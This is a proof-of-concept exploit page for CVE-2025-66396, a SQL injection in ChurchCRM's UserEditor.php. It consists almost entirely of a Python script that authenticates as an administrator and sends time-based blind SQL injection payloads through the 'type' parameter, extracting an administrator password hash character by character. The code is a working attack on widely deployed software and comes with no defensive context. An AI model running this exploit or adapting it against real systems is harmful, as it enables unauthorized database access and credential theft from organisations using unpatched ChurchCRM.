CVE-2025-66396 ChurchCRM UserEditor.php SQL注入漏洞

import requests import time # CVE-2025-66396 SQL Injection PoC for ChurchCRM # Target: ChurchCRM < 6.5.3 # Location: src/UserEditor.php # Type: Time-based blind SQL injection target_url = "http://target-url/src/UserEditor.php" # Authentication - Requires admin credentials or session login_url = "http://target-url/src/api/authenticate.php" auth_data = { "UserName": "admin", "Password": "admin_password" } session = requests.Session() def login(): response = session.post(login_url, data=auth_data) return "auth_token" in response.text or response.status_code == 200 def extract_data_via_sql_injection(payload): """ Time-based blind SQL injection payload example Extracts database version information """ # Malicious type parameter with SQL injection payload data = { "type": { f"1' AND (SELECT CASE WHEN ({payload}) THEN SLEEP(5) ELSE 0 END) AND '1'='1": "value" }, "Action": "saveSettings", "UserID": "1" } start_time = time.time() response = session.post(target_url, data=data) elapsed = time.time() - start_time return elapsed > 4 # If response took >4 seconds, condition was true def build_boolean_payload(condition): """Build payload for boolean-based blind injection""" # Example: Check if database version contains '5' return f"(SELECT SUBSTRING(@@version,1,1))='{condition}'" def exploit(): if not login(): print("[-] Authentication failed") return print("[+] Logged in successfully") # Time-based blind injection to extract admin password hash # Example: Extract first character of user password payload = "(SELECT SUBSTRING(user_pasword,1,1) FROM user_user WHERE bSecRole=1 LIMIT 1)='a'" # Test different characters for char in 'abcdefghijklmnopqrstuvwxyz0123456789': test_payload = f"(SELECT SUBSTRING(user_pasword,1,1) FROM user_user WHERE bSecRole=1 LIMIT 1)='{char}'" if extract_data_via_sql_injection(test_payload): print(f"[+] Found character: {char}") break if __name__ == "__main__": exploit()